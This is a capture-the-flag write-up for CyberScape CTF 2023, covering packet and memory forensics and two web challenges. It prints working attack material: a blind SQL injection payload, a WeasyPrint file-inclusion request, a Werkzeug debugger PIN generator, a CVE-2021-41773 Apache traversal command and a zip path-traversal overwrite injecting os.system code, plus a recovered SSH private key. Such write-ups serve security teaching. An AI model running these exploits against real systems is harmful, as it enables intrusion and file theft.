Cyberscape Report Ru

Download as pdf or txt
Download as pdf or txt
You are on page 1of 27

WRITE UP

CyberScape CTF
2023

ru
TABLE OF CONTENTS
Forensic
Astroquotes
Solar Wind
Sbux

Web
AB Crew Hiring System
Traverse
Astroquotes
Forensic

Description
We captured a lot of suspicious HTTP requests last month on one of our websites
which hasn't been maintained since the end of 2022. Unfortunately, the website is no
longer accessible at this time. Can you analyze what happened?

Attachment:
https://drive.google.com/drive/folders/1YVWnfD_bOq78alGBBZLp5sQutwzlq8Fr?us
p=share_link

Solution
Given a packet data capture which is stated to have a bunch of HTTP requests.
Therefore, let's take a look at the protocol hierarchy

» tshark -r capture.pcap -qz io,phs

=================================================================
Protocol Hierarchy Statistics
Filter:

eth frames:81499 bytes:17136217


ip frames:81499 bytes:17136217
tcp frames:81499 bytes:17136217
http frames:13576 bytes:10192089
data-text-lines frames:6786 bytes:3257505
tcp.segments frames:6786 bytes:3257505
mime_multipart frames:3392 bytes:5080516
tcp.segments frames:13 bytes:26128
=================================================================

As we can see, there are many instances of data-text-lines and mime_multipart in


the packets, which likely carry malicious request.body data. Let's further investigate
the contents of the HTTP.request packets to gather more information.

» tshark -r capture.pcap -Y http.request.method -Tfields -e http.request.method


-e http.request.full_uri | sort -n | uniq -c
3394 GET http://astro.quotes/
1 GET http://astro.quotes/uploads/cat.jpeg
1 GET http://astro.quotes/uploads/dog.jpeg
3392 POST http://astro.quotes/
» tshark -r capture.pcap -Y http | tail
81443 2612.661740 172.28.0.1 → 172.28.0.3 HTTP 545 GET / HTTP/1.1
81447 2612.662856 172.28.0.3 → 172.28.0.1 HTTP 667 HTTP/1.1 200 OK
(text/html)
81455 2612.773912 172.28.0.1 → 172.28.0.3 HTTP 1484 POST / HTTP/1.1 (JPEG
JFIF image)
81459 2612.843261 172.28.0.3 → 172.28.0.1 HTTP 293 HTTP/1.1 302 FOUND
(text/html)
81467 2612.850075 172.28.0.1 → 172.28.0.3 HTTP 545 GET / HTTP/1.1
81471 2612.851359 172.28.0.3 → 172.28.0.1 HTTP 667 HTTP/1.1 200 OK
(text/html)
81479 2612.959635 172.28.0.1 → 172.28.0.3 HTTP 1484 POST / HTTP/1.1 (JPEG
JFIF image)
81483 2613.028416 172.28.0.3 → 172.28.0.1 HTTP 293 HTTP/1.1 302 FOUND
(text/html)
81491 2613.036363 172.28.0.1 → 172.28.0.3 HTTP 545 GET / HTTP/1.1
81495 2613.037476 172.28.0.3 → 172.28.0.1 HTTP 667 HTTP/1.1 200 OK
(text/html)

» tshark -r capture.pcap -Y http.request.method==POST -Tfields -e


image-jfif.ifd.value_ascii | tail -1
116/**/and/**/69=(select/**/case/**/when/**/ascii(substring(string_agg(valcol,ch
r(44)),119,1))>1/**/then/**/(select/**/69/**/from/**/pg_sleep(1))/**/else/**/(se
lect/**/69/**/from/**/pg_sleep(0))/**/end/**/from/**/confidential)

Based on our previous findings, we can confirm that the attacker attempted to
execute a Time-based Blind SQL Injection attack using a JPEG file as the attack
vector. This is a classic method that attackers may use to extract information from a
database by exploiting the query execution time to determine the correctness of a
given query. In this case, the attacker decided to invoke pg_sleep(1) so that the
response got delayed by 1 second.

Therefore, we can reconstruct the information by filtering any POST requests that
have a time difference of 1 second or more between the POST request and the
subsequent 302 Redirect GET request.

# Time epoch extraction


» tshark -r capture.pcap -Y http.request.method==POST -Tfields -e frame.number
-e frame.time_epoch > upload_epoch_time
» tshark -r capture.pcap -Y http.response.code==302 -Tfields -e frame.number -e
frame.time_epoch > 302_redirection_epoch_time

# Time diff calculation and potential packet.number filtering


» paste upload_epoch_time 302_redirection_epoch_time | awk '{print $1,$4-$2}' |
grep -P ' 1\.0' | awk '{print $1}' > successful_query_packet_number

» head successful_query_packet_number
396
468
492
660
684
732
756
804
852
876

# Constraint creation based on a set of frame.numbers


» tshark -r capture.pcap -Y "$(cat packet_filters)" -Tfields -e
image-jfif.ifd.value_ascii | grep -oP '(,\d+,)|(>\d+)' | xargs -n2 | tr -d ',>'
> query_pairs
» tail query_pairs
116 97
117 64
117 96
117 104
117 108
117 109
118 64
118 80
118 84
118 85

# SQL Query extraction based on crafted constraint


# In this case, we selected a query that appears at the very end
# just before transitioning to the next index
» for i in {1..118}; do
cat query_pairs | grep -P "^$i" | tail -1
done | awk '{print $2+1}' | perl -nE 'print map(chr, split)'

VtVmB8c6oIVb,ihjmwUdaNrZQ,yCtgjXjujKJHVVd,mmFudCmqpcRlBJ,ABC{4a1b183895deadc3ecb
c2e169076391e},HveoplfiKxA,kIyrgisebnV

Flag
ABC{4a1b183895deadc3ecbc2e169076391e}
Solar Wind
Forensic

Description
Last week, we caught one of the followers of a secret organization called 'Solar Wind',
when he was about to be arrested he tried to destroy all the evidence but we managed
to get a memory dump from his laptop. Can you help us with the further investigation?
Password: cGxpc2Jhbmdzb2x2ZQo

Solution
Given a memory dump named orange.mem which is stated to store some kind of
evidence from the Solar Wind incident. As a starting point, we need to identify any
operating system dependencies before proceeding with further analysis.

» egrep -ao 'Linux version.+' -m1 orange.mem


Linux version 5.19.0-32-generic (buildd@lcy02-amd64-026) (x86_64-linux-gnu-gcc
(Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38)
#33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Jan 30 17:03:34 UTC 2 (Ubuntu
5.19.0-32.33~22.04.1-generic 5.19.17)

» vol3 -f orange.mem banners.Banners


Progress: 100.00 PDB scanning finished
Offset Banner

0x32d58c98 Linux version 5.19.0-32-generic (buildd@lcy02-amd64-026)


(x86_64-linux-gnu-gcc (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0, GNU ld (GNU
Binutils for Ubuntu) 2.38) #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Jan 30
17:03:34 UTC 2 (Ubuntu 5.19.0-32.33~22.04.1-generic 5.19.17)

There we found that the memory dump was based on Ubuntu 22.04 with a very recent
kernel, which is 5.19.0-32-generic.

According to https://github.com/volatilityfoundation/volatility/issues/828, volatility2


might not be the best choice for handling the latest os and kernel version due to the
dwarf module incompatibility. Therefore, we might need to rely on volatility3 for the
analysis process.

As usual we need to generate our own debug symbol volatility profile before getting
into any deeper. This process can be accomplished by:
# Obtain unsigned dbgsym deb for 5.19.0-32-generic kernel
» wget
'http://ddebs.ubuntu.com/pool/main/l/linux-hwe-5.19/linux-image-unsigned-5.19.0-
32-generic-dbgsym_5.19.0-32.33%7e22.04.1_amd64.ddeb'

# Extract Debian Package archive


» dpkg-deb -xv
linux-image-unsigned-5.19.0-32-generic-dbgsym_5.19.0-32.33~22.04.1_amd64.ddeb
dbgsym-5.19.0-32-generic

# Generate a dbgsym based on given kernel, then put it into volatility3 dir
» dwarf2json linux --elf
dbgsym-5.19.0-32-generic/usr/lib/debug/boot/vmlinux-5.19.0-32-generic >
linux-image-5.19.0-32-generic.json
» cp linux-image-5.19.0-32-generic.json
$VOLATILITY3_DIR/volatility3/framework/symbols/linux/

Afterwards, volatility3 can be used as expected. For example, we can examine the
console history during the incident using linux.bash.Bash

» vol3 -f orange.mem linux.bash.Bash


Volatility 3 Framework 2.4.1
Progress: 100.00 Stacking attempts finished
PID Process CommandTime Command

1987 bash 2023-02-17 19:06:54.000000 ssh-keygen -t ed25519 -C moeslh


1987 bash 2023-02-17 19:06:54.000000 uname -r
1987 bash 2023-02-17 19:06:54.000000 ls -la
1987 bash 2023-02-17 19:10:11.000000 cd .ssh
1987 bash 2023-02-17 19:10:12.000000 GTK_MODULES=gail:atk-bridge
1987 bash 2023-02-17 19:10:12.000000 ls
1987 bash 2023-02-17 19:10:15.000000 cat id_ed25519
1987 bash 2023-02-17 19:10:32.000000 cat id_ed25519.pub
1987 bash 2023-02-17 19:10:36.000000 cd ..
1987 bash 2023-02-17 19:12:39.000000 sudo apt install git make
1987 bash 2023-02-17 19:12:55.000000 sudo apt install gcc -y
1987 bash 2023-02-17 19:13:42.000000 git clone
https://github.com/504ensicsLabs/LiME.git
1987 bash 2023-02-17 19:13:54.000000 cd LiME/src
1987 bash 2023-02-17 19:13:56.000000 make
1987 bash 2023-02-17 19:14:29.000000 lsmod | grep lime
1987 bash 2023-02-17 19:15:15.000000 insmod ./lime-5.19.0-32-generic.ko
"path=../moeslh.mem format=lime"
1987 bash 2023-02-17 19:15:23.000000 sudo insmod
./lime-5.19.0-32-generic.ko "path=../moeslh.mem format=lime"
1987 bash 2023-02-17 19:15:33.000000 ls ..
1987 bash 2023-02-17 19:15:38.000000 ls -la ..
1987 bash 2023-02-17 19:16:27.000000 rm -rf ../moeslh.mem
1987 bash 2023-02-17 19:18:29.000000 ssh [email protected] -p 18002

As we can see, a lot of things happened during the incident, including the remote ssh
attempt to a certain server. After a while, we found that the ssh service seems to be
currently active. Therefore, we might consider an option to do a remote ssh as well
using the provided id_ed25519 private key.

» nc 52.77.200.197 18002
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1

Unfortunately, due to the lack of community support, volatility3 doesn’t have a plugin
to extract a file directly from a memory dump. So we might need to dump the file
manually by looking for certain keywords. In this case, we used “BEGIN OPENSSH
PRIVATE KEY” to search for the offset of SSH private key

» binwalk --raw='-----BEGIN\ OPENSSH\ PRIVATE\ KEY-----' orange.mem

DECIMAL HEXADECIMAL DESCRIPTION


--------------------------------------------------------------------------------
337499584 0x141DD5C0 Raw signature
(-----BEGIN\x20OPENSSH\x20PRIVATE\x20KEY-----)
710664667 0x2A5BE1DB Raw signature
(-----BEGIN\x20OPENSSH\x20PRIVATE\x20KEY-----)
827535872 0x31533200 Raw signature
(-----BEGIN\x20OPENSSH\x20PRIVATE\x20KEY-----)
975649856 0x3A273C40 Raw signature
(-----BEGIN\x20OPENSSH\x20PRIVATE\x20KEY-----)

» dd if=orange.mem skip=710664667 bs=1 count=399 of=id_ed25519


399+0 records in
399+0 records out
399 bytes copied, 0.0051829 s, 77.0 kB/s

» cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACD3eUbWoKFww/GO1sUKVxgqcqpLKINUiL62pez9Sfoa2wAAAJCDyUIsg8lC
LAAAAAtzc2gtZWQyNTUxOQAAACD3eUbWoKFww/GO1sUKVxgqcqpLKINUiL62pez9Sfoa2w
AAAEBMcvp0cSgjsQaMpxQR8EVefDdwVUY30wSWAowE7FRYg/d5RtagoXDD8Y7WxQpXGCpy
qksog1SIvral7P1J+hrbAAAABm1vZXNsaAECAwQFBgc=
-----END OPENSSH PRIVATE KEY-----
After obtaining the private key, we can either simply load it directly or place it into our
$HOME/.ssh/ directory. Then, we can start to examine the server where the flag might
reside.

» ssh [email protected] -p 18002


Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-1030-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.


Last login: Sun Feb 26 10:06:05 2023 from 36.72.216.120
$ cd ..
$ ls
TALK_HERE moeslh
$ cat TALK_HERE
1 : roger moeslh
2 : yo I'm here
1 : can we do 'solar-wind' operation right now?
2 : i think we can
1 : ok, cool
1 : so can we do it on 11 or 12 march?
2 : gas sambit

ABC{f12e7a24f76e2e42eb7b5df03fa14fab}

Flag
ABC{f12e7a24f76e2e42eb7b5df03fa14fab}
Sbux
Forensic

Description
My friend told me he wants to give me sbux, but I must understand SBUX. Can you help
analyze this file?

Solution

Given a packet data capture named chall.pcapng. For a starter, let's take a look at the
protocol hierarchy

» tshark -r chall.pcapng -qz io,phs

===================================================================
Protocol Hierarchy Statistics
Filter:

null frames:821 bytes:5473328


ipv6 frames:3 bytes:1069
tcp frames:2 bytes:152
udp frames:1 bytes:917
mdns frames:1 bytes:917
ip frames:818 bytes:5472259
tcp frames:817 bytes:5471362
data frames:100 bytes:854381
lbmsrs frames:1 bytes:16388
tcp.segments frames:1 bytes:16388
data frames:1 bytes:16388
udp frames:1 bytes:897
mdns frames:1 bytes:897
===================================================================

» tshark -r chall.pcapng -qz conv,tcp


=====================================================
TCP Conversations
Filter:<No Filter>

127.0.0.1:53122 <-> 127.0.0.1:3000


::1:53121 <-> ::1:3000
=====================================================

» tshark -r chall.pcapng -Y 'tcp.srcport==3000 and frame.len < 100' -x | tail


0010 7f 00 00 01 7f 00 00 01 0b b8 cf 82 a8 b1 86 c0 ................
0020 60 e7 d6 e4 80 18 2f f5 fe 3a 00 00 01 01 08 0a `...../..:......
0030 f9 4e 23 89 09 02 71 d7 00 0a 00 01 00 00 00 13 .N#...q.........
0040 3f 00 53 00 4d 00 55 00 58 00 ?.S.M.U.X.

0000 02 00 00 00 45 00 00 34 00 00 40 00 40 06 00 00 ....E..4..@.@...
0010 7f 00 00 01 7f 00 00 01 0b b8 cf 82 a8 b1 86 d2 ................
0020 60 e7 d6 e5 80 10 2f f5 fe 28 00 00 01 01 08 0a `...../..(......
0030 f9 4e 23 8a 09 02 71 d8 .N#...q.

There we found that most packets come from tcp.port==3000 traffic. Also, we
assumed that those packets might be related to SMUX protocol since it has “SMUX”
string on it. By transcribing the TCP packet as SMUX, we can see clearly that it's indeed
a SMUX packet

» tshark -r chall.pcapng -d 'tcp.port==3000,smux' -Y 'smux' | head


7 0.000944 127.0.0.1 → 127.0.0.1 SMUX 16388 53122 → 3000 [ACK]
Seq=1 Ack=1 Win=408256 Len=16332 TSval=151155135 TSecr=4182647664
8 0.000946 127.0.0.1 → 127.0.0.1 SMUX 116 53122 → 3000 [PSH, ACK]
Seq=16333 Ack=1 Win=408256 Len=60 TSval=151155135 TSecr=4182647664[Malformed
Packet]
9 0.000962 127.0.0.1 → 127.0.0.1 SMUX 16388 53122 → 3000 [ACK]
Seq=16393 Ack=1 Win=408256 Len=16332 TSval=151155135 TSecr=4182647664
10 0.000963 127.0.0.1 → 127.0.0.1 SMUX 116
11 0.000974 127.0.0.1 → 127.0.0.1 SMUX 16388 53122 → 3000 [ACK]
Seq=32785 Ack=1 Win=408256 Len=16332 TSval=151155135 TSecr=4182647664
12 0.000976 127.0.0.1 → 127.0.0.1 SMUX 116 53122 → 3000 [PSH, ACK]
Seq=49117 Ack=1 Win=408256 Len=60 TSval=151155135 TSecr=4182647664[Malformed
Packet]
13 0.000989 127.0.0.1 → 127.0.0.1 SMUX 16388 53122 → 3000 [ACK]
Seq=49177 Ack=1 Win=408256 Len=16332 TSval=151155135 TSecr=4182647664
14 0.000991 127.0.0.1 → 127.0.0.1 SMUX 116
16 0.001006 127.0.0.1 → 127.0.0.1 SMUX 16388 53122 → 3000 [ACK]
Seq=65569 Ack=1 Win=408256 Len=16332 TSval=151155135 TSecr=4182647664
17 0.001009 127.0.0.1 → 127.0.0.1 SMUX 116

Having read RFC1227 gives us a clue, that we may partially extract the transferred
data directly from tcp.payload fields

» tshark -r chall.pcapng -d 'tcp.port==3000,smux' -Y 'smux and frame.len > 116'


-Tfields -e tcp.payload | xxd -r -p > datastream
» binwalk datastream

DECIMAL HEXADECIMAL DESCRIPTION


--------------------------------------------------------------------------------
8 0x8 JPEG image data, JFIF standard 1.01
355498 0x56CAA JPEG image data, JFIF standard 1.01
715733 0xAEBD5 JPEG image data, JFIF standard 1.01
1464827 0x1659FB JPEG image data, JFIF standard 1.01
2278105 0x22C2D9 JPEG image data, JFIF standard 1.01

» foremost datastream
Processing: datastream
|*|

To our surprise, some of data got recovered during this process where one of them
contains the flag information

Flag
ABC{00b2c91e7c3087e1fbbbd7c092555a3a}
AB Crew Hiring System
Web

Description
AB Crew is actively hiring right now! They are preparing a team to rescue Cyptain
Armstrong and the team and help them to escape from the Cyberscape. Are you
interested to be part of the team?

18.142.76.116:13033

Solution
Given a web service with a functionality of creating PDF-generated schedule visit
directly from the webform
After a while, we found out that the generated PDF document was created using
WeasyPrint 57.2 judged from the metadata file

» exiftool document.pdf | grep Producer


Producer : WeasyPrint 57.2

Having realized that it was created by Weasyprint, we wondered if the classic Local File
Inclusion (LFI) vulnerability might be there. Then, we tried to put and submit a payload
like this to load a certain file into PDF embedded object

<link rel="attachment" href="file:///etc/passwd">


Unfortunately, the vuln didn’t trigger as expected. It was until we realized that the
firstname and lastname are directly concatenated, thus make the vulnerability
worked perfectly

» curl -s -d
'firstname=%3Clink+rel%3D%22attachment%22&lastname=href%3D%22file:///etc/passwd%
22%3E&email=a%40a.com&time=2023-11-14T11%3A22&description=AAA'
http://18.142.76.116:13033/apply -o document.pdf

» pdfdetach -list document.pdf; pdfdetach -saveall document.pdf


1 embedded files
1: passwd
» cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false

After that, we started to enumerate some potential files that might help us on getting
further to the flag.

» environ

HOSTNAME=c0acf82f8fe6PYTHON_PIP_VERSION=22.3.1HOME=/rootGPG_KEY=A035C8C19219BA82
1ECEA86B64E628F8D684696DUWSGI_INI=/app/uwsgi.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSE
S=16STATIC_URL=/staticPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1a9
6dc5acd0303c4700e02655aefd3bc68c78958/public/get-pip.pyUWSGI_CHEAPER=2PATH=/usr/
local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF
-8PYTHON_VERSION=3.11.2PYTHON_SETUPTOOLS_VERSION=65.5.1NGINX_WORKER_PROCESSES=1L
ISTEN_PORT=80STATIC_INDEX=0PWD=/appPYTHON_GET_PIP_SHA256=d1d09b0f9e745610657a528
689ba3ea44a73bd19c60f4c954271b790c71c2653STATIC_PATH=/app/staticPYTHONPATH=/app
» uwsgi.ini

[uwsgi]
module = main
callable = app

» main.py

#!/usr/local/bin/python3.11
import os
from utils.utils import random_char, validate_input, validate_time
from flask import Flask, render_template, request
from flask_weasyprint import HTML, render_pdf
from werkzeug.debug import DebuggedApplication

app = Flask(__name__)
app.config["SECRET_KEY"] = os.urandom(32)
app.config["SESSION_PERMANENT"] = False
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.debug = True

MAX_LEN = {
'firstname': 25,
'lastname': 75,
'email': 25
}

@app.route('/')
def ticket_html():
return render_template('index.j2')

@app.route('/apply', methods=["POST"])
def easy_apply():
if request.method == "POST":
## validate input as the first layer of defense even though
render_template maybe already enough
first_name =
validate_input(request.form.get("firstname"))[:MAX_LEN['firstname']]
last_name =
validate_input(request.form.get("lastname"))[:MAX_LEN['lastname']]
email = validate_input(request.form.get("email"))[:MAX_LEN['email']]
visit_time = validate_time(request.form.get("time"))
uid = random_char(10)

html = render_template('pdf_template.j2',
cwd=os.getcwd(),first=first_name,last=last_name,email=email, visit=visit_time,
uid=uid)
return render_pdf(HTML(string=html, base_url=""))
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=80)

At this point, we noticed that the application has the debug mode activated, which
means the werkzeug’s console might be up. Luckily, our assumption was spot on

Based on this article, it stated the possibility of obtaining the correct pincode from the
werkzeug console. It can be done by replicating the get_pin_code function inside
werzekug/debug/__init__.py

Without further ado, we gathered some ingredients to bake the correct pincode.
There are specific things we need to obtain related to the web service such as:
username, modname, appname, and dirname. We also need to obtain things related to
the server itself such as: mac address and machine id.

Using those knowledges, we comes with a script like this:

gen_pin_code.py

import hashlib
from itertools import chain

def get_pin_code(username, modname, appname, dirname, uuid, machine_id):

probably_public_bits = [
username,
modname,
appname,
dirname
]

private_bits = [
uuid, # int(mac_addr, 16)
machine_id # /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"

num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv

pin_code = get_pin_code(
'root',
'flask.app',
'wsgi_app',
'/usr/local/lib/python3.11/site-packages/flask/app.py',
'2485378088965',
b'ce0318d8-71a3-45d8-89ad-32fce1c5a8e2'
)

print(pin_code)

» python gen_pin_code.py
109-082-023

After obtained the correct pin_code, we could unlock the interactive web shell and be
able to retrieve the flag
Flag
ABC{3882cb5cfdd841383c8adbe2dde83472}
Traverse
Web

Description
Bek Bek Bek Bek!!

18.142.76.116:13030

Solution
Given a web service of login page with file upload functionality
Unfortunately, we don’t have the required secret code in order to utilize the file upload
feature. After some observations, we found out that the web service was hosted on
Apache 2.4.49 which is considered vulnerable to CVE-2021-41773

Using the exploit from CVE-2021-41773, we successfully executed the LFI


vulnerability inside the server

» curl
'http://18.142.76.116:13030/cgi-bin/.%2E/.%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2
E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin

Unfortunately, it seems that the +ExecCGI properties that were previously used to
achieve RCE chain are not enabled. Therefore, we may have to explore other options
for achieving RCE, beginning with enumerating the Apache2 configuration files.

/usr/local/apache2/conf/httpd.conf

..snip..
..snip..
# Virtual hosts
Include conf/extra/httpd-vhosts.conf

# Local access to the Apache HTTP Server Manual


#Include conf/extra/httpd-manual.conf

# Distributed authoring and versioning (WebDAV)


#Include conf/extra/httpd-dav.conf

# Various default settings


#Include conf/extra/httpd-default.conf

# Configure mod_proxy_html to understand HTML4/XHTML1


<IfModule proxy_html_module>
Include conf/extra/proxy-html.conf
</IfModule>

# Secure (SSL/TLS) connections


#Include conf/extra/httpd-ssl.conf
#
# Note: The following must must be present to support
# starting without SSL on platforms with no /dev/random equivalent
# but a statically compiled-in mod_ssl.
#
<IfModule ssl_module>
SSLRandomSeed startup builtin
SSLRandomSeed connect builtin
</IfModule>

LoadModule wsgi_module modules/mod_wsgi.so

/usr/local/apache2/conf/extra/httpd-vhosts.conf

<VirtualHost *:80>

# Python application integration


WSGIDaemonProcess /traverse processes=4 threads=20
python-path=/usr/local/apache2/htdocs/traverse/:/usr/bin/python3
WSGIProcessGroup /traverse
WSGIScriptAlias / /usr/local/apache2/htdocs/traverse/traverse.wsgi

<Directory "/usr/local/apache2/htdocs/traverse/app/">
Header set Access-Control-Allow-Origin "*"
WSGIProcessGroup /traverse
WSGIApplicationGroup %{GLOBAL}
Options +ExecCGI
Order deny,allow
Allow from all
</Directory>
Alias /static /usr/local/apache2/htdocs/traverse/app/static
<Directory /usr/local/apache2/htdocs/traverse/app/static/>
Order allow,deny
Allow from all
</Directory>

</VirtualHost>

/usr/local/apache2/htdocs/traverse/traverse.wsgi

#! /usr/bin/python3

import sys
sys.path.append("/usr/local/apache2/htdocs/traverse/app")

from app.main import app as application

/usr/local/apache2/htdocs/traverse/app/main.py'

import os
import hashlib
from flask import Flask, render_template, redirect, request, session
from flask_session import Session
from flask_assets import Bundle, Environment
from werkzeug.utils import secure_filename
from utils.utils import unzip, validate_secret

UPLOAD_FOLDER = 'static/uploads'

app = Flask(__name__)
app.config["SECRET_KEY"] = os.urandom(32)
app.config["SESSION_PERMANENT"] = False
app.config["SESSION_TYPE"] = 'filesystem'
app.config["SESSION_KEY_PREFIX"] = ''
app.config["SESSION_FILE_THRESHOLD"] = 20
app.config["SESSION_USE_SIGNER"] = False
app.config["UPLOAD_FOLDER"] = os.path.join(os.path.dirname(__file__),
UPLOAD_FOLDER)
Session(app)

assets = Environment(app)
assets.url = app.static_url_path
scss = Bundle(
"assets/main.scss",
filters="libsass",
output="css/scss-generated.css"
)
assets.register("scss_all", scss)

@app.route("/", methods=["POST", "GET"])


def index():
if not session.get("name"):
return redirect("/login")

if request.method == "POST":
if 'file' not in request.files:
return render_template("index.html")

uploaded = {}
food = request.files['file']
if validate_secret(request.form.get("secret")):
msg = f"Your file is saved here:"
dest_folder = os.path.join(app.config["UPLOAD_FOLDER"],
hashlib.md5(session["name"].encode('utf-8')).hexdigest())
filename = secure_filename(food.filename)
if filename.endswith(".zip"):
uploaded = unzip(food, dest_folder)
else:
outfile = os.path.join(dest_folder, filename)
if not os.path.exists(os.path.dirname(outfile)):
try:
os.makedirs(os.path.dirname(outfile))
except OSError as exc:
print(f"Something when wrong!! {exc}")

food.save(outfile)
uploaded.update({filename: outfile})
else:
msg = "Oopsie!! Wrong Secret Code!!!"

# clean path for valid link


uploaded = {k:v.replace(os.path.dirname(__file__),"") for k,v in
uploaded.items()}
return render_template("index.html", uploaded=uploaded, message=msg)

return render_template("index.html")

@app.route("/login", methods=["POST", "GET"])


def login():
if request.method == "POST":
session["name"] =
f"{request.form.get('username')}|{request.form.get('password')}"
return redirect("/")
return render_template("login.html")

@app.route("/logout")
def logout():
session["name"] = None
return redirect("/")
if __name__ == "__main__":
app.run(host="0.0.0.0")

/usr/local/apache2/htdocs/traverse/app/utils/utils.py

import errno
import random
import zipfile
import os
import io

def validate_secret(secret):
random_secret = random.randint(1,9999)
secret_code = "{:04x}".format(random_secret)
if secret_code in secret:
return True
return False

def unzip(zip_file, extraction_path):


try:
files = {}
with zipfile.ZipFile(zip_file, "r") as zf:
for fileinfo in zf.infolist():
filename = fileinfo.filename

if filename.endswith(".py"):
continue

dat = zf.open(filename, "r")


outfile = os.path.join(extraction_path, filename)
if not os.path.exists(os.path.dirname(outfile)):
try:
os.makedirs(os.path.dirname(outfile))
except OSError as exc:
if exc.errno != errno.EEXIST:
print("\nSomething when wrong!")
if not outfile.endswith("/"):
with io.open(outfile, mode='wb') as f:
f.write(dat.read())
files.update({filename: outfile})
dat.close()
return files
except Exception as e:
print(f"Error when unzipping the file: {e}")
Based on our findings, we have determined that the validate_secret function can be
easily bypassed by passing a long string that matches the required pattern.
Additionally, we have identified an unzip function that may be vulnerable to abuse
through zip path traversal, which could ultimately allow for the writing of arbitrary files
to the main source code.

After conducting several experiments, we have reached the conclusion that the
traverse.wsgi file can be overridden. This means that we can inject arbitrary code
execution and store the results in the '/tmp' directory. In this case, we tried to pull the
flag from the / to /tmp directory

traverse.wsgi

#! /usr/bin/python3

import sys
import os

os.system('cat /flag* > /tmp/flag.txt')


sys.path.append("/usr/local/apache2/htdocs/traverse/app")

from app.main import app as application

» 7z a exploit.zip traverse.wsgi
» echo -e "@
traverse.wsgi\n@=../../../../../../../../../usr/local/apache2/htdocs/traverse/tr
averse.wsgi" | zipnote -w exploit.zip
There our file has been successfully uploaded. This means that when we reload the
homepage, our arbitrary code may be executed and stored in the /tmp/flag.txt
directory

» curl
'http://18.142.76.116:13030/cgi-bin/.%2E/.%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E
/%2E%2E/%2E%2E/%2E%2E/tmp/flag.txt'

